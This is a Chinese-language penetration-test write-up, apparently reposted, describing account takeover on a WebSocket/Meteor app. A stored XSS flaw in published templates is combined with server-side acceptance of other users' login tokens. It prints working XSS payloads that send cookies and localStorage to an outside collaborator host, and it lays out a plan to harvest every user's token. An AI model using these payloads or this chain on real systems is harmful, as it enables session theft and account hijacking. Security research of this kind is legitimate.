存储型XSS漏洞利用：在WebSocket驱动的应用中实现账户接管

本文章仅用于网络安全研究学习，请勿使用相关技术进行违法犯罪活动。

声明：本文搬运自互联网，如您是原作者，请联系我们！

类型：XSS漏洞利用

你好，了不起的黑客们，现在你正在收听 Mohamed Ibrahim 的节目。这次，我们将探讨一次真实的渗透测试实施过程。

在最近与 BugSwagger, LLC 的一次安全合作中，我们针对其单个子域名 demo.xzy.com 进行安全测试。该应用程序使用流行的 JavaScript 框架构建，其核心功能是实时协作，完全基于 WebSocket 连接。

与传统的 HTTP 请求不同，WebSocket 在客户端和服务器之间提供了一个全双工的持久通道，允许数据双向流动，而无需重复的 HTTP 握手。

什么是 WebSocket？

WebSocket 是一种协议，它允许客户端（浏览器）和服务器之间通过单个 TCP 连接进行全双工、持久的通信。

与传统的无状态 HTTP 请求（每次交互都需要建立新连接）不同，WebSocket 维护一个开放的通道，从而以最小的开销实现实时双向数据交换。

WebSocket 的工作原理是什么？

1. 握手：客户端通过发送带有 Upgrade: websocket 标头的 HTTP 请求来发起 WebSocket 连接。服务器以 101 Switching Protocols 状态码响应，从而建立连接。

2. 数据交换：连接成功后，数据将使用 WebSocket 协议（ws:// 用于未加密连接，wss:// 用于加密连接）以帧的形式发送。

3. 持久连接：连接保持打开状态，可为聊天系统、实时通知或协作工具等应用程序提供即时更新。

Web 应用程序中的 WebSocket

在目标应用程序中，使用 WebSocket 来实时动态更新内容，例如卡片的文本字段。该应用程序通过 WebSocket 发送 JSON 格式的消息来更新 DOM。

在探索该应用程序的过程中，我像普通用户一样测试了应用程序中的每一个功能，同时在后台打开了 BurpSuite。

过了一段时间，我看到了这条 WebSocket 请求：

[{"msg":"method","id":"1","method":"login","params":[{"resume":"d3NS1IQLsq7MGZe3pcCuYesXW7NATr_sxxxxxxxxx"}]}]

这个令牌是 Meteor.loginToken 令牌，它在用户浏览器中充当会话令牌。因此，服务器收到的请求会返回大量响应（发送给客户端），这些响应包含了所有用户详细信息。

我在请求中问道 ：“如果我们使用另一个用户的登录令牌会怎样？”

因此，我迅速在另一个会话（浏览器）中打开了另一个用户帐户，并（手动）获取了该用户帐户的登录令牌，然后返回到上述请求，并使用新的登录令牌（其他用户）重新发送该请求。

令我惊讶的是，请求响应中竟然包含了所有其他用户帐户的详细信息：

应用程序信任此令牌。此令牌通常在用户登录后设置，用于验证后续对服务器的请求。这表明服务器没有正确验证令牌与原始用户或会话的关联性，实际上允许跨帐户重复使用令牌。

好的，现在我们只需要知道 “如何获取受害者的登录令牌” ？

返回控制面板，探索更多功能，测试更多功能，以找到泄露受害者登录令牌的方法。

用户可以编写卡组（模板）并将其发布到商店，供所有用户访问和购买。

我开始注入一些 XSS 有效载荷但它没有奏效。

"><img src=x onerror=alert(2)>

我切换到 BurpSuite 查看情况。注入的有效载荷位于 <p>INJECTED-TEXT</p> 标签内，特殊字符被转换成了 <p><img src=x onerror=alert(2)></p>。

客户端在向后端发送请求之前会对特殊字符进行编码，响应也经过了编码。因此，我编辑了请求，并在 <p></p> 标签之外添加了一个未编码的基础 XSS 有效载荷： <img src=x onerror=alert(123)> ，然后发送了该请求。

服务器端接受了请求，并以相同的有效负载（未编码）进行了响应。然后我打开控制面板，想看看会发生什么：

我收到一条“禁止访问”的消息，但没有看到任何警报。但是，当我在预览模式下打开模板时， XSS 有效载荷成功执行，并发出了警报。

当我在另一个用户帐户会话中打开该模板时，XSS 攻击仍然有效，确认这是一个存储型 XSS 攻击。

现在我们来尝试获取用户帐户会话 cookie（ 登录令牌 ）。你还记得吗？这就是我们的目标。

我回到之前注入 XSS 攻击载荷的请求，添加了一个更强大的载荷来泄露用户 cookie： <img src=x onerror=this.src="https://burp-collab.com/?cookie="+document.cookie> 我重新发送了该请求并进入预览模式，以便 XSS 攻击载荷能够执行。Burp Collab 检测到了一些包含用户帐户会话 cookie 的攻击：

<img src=x onerror=this.src="https://burp-collab.com/?cookie="+document.cookie>

我搜索了用户帐户的登录令牌，但它不存在于 Cookie 中。我查看了浏览器存储，发现该令牌存储在本地存储中，而不是 Cookie 中。

所以我再次修改了请求，添加了另一个 XSS 攻击载荷来泄露用户帐户的本地存储。 我使用相同的步骤使用了这个载荷： <img src=x onerror=this.src="https://burp-collab.com/?localStorage="+JSON.stringify(localStorage)/> 并再次发送请求。但这次我成功获取了用户帐户的登录令牌。

回到第一个请求，我可以使用他的登录令牌获取所有用户详细信息，并且我能够列出所有用户详细信息。

精彩部分即将到来

我当时想，如果我把浏览器存储（本地存储）中的受害者登录令牌替换成我自己的登录令牌会怎么样？

我用浏览器（本地存储）中的登录令牌替换了它，令我震惊的是，网页重新加载并显示了受害者的帐户，且拥有完全访问权限。

我进入设置页面，将受害者邮箱更改为我自己的邮箱（完全接管帐户）。

下一步，我将模板发布到应用商店，以便所有应用用户都可以访问它。每个用户打开我的模板时，XSS 有效载荷都会在其会话中执行，并将其登录令牌泄露到我的 Burp-Collab 中，这意味着所有应用用户都无法访问我的应用。

提示：

我没有使用不同的 XSS 有效载荷，而是按照相同的步骤将我的盲 XSS 有效载荷注入到模板中，结果运行良好（泄露了所有信息）：

终于到结尾了，感谢阅读。如果您对这类实战案例感兴趣，可以到云栈社区的安全/渗透/逆向板块探索更多深度内容。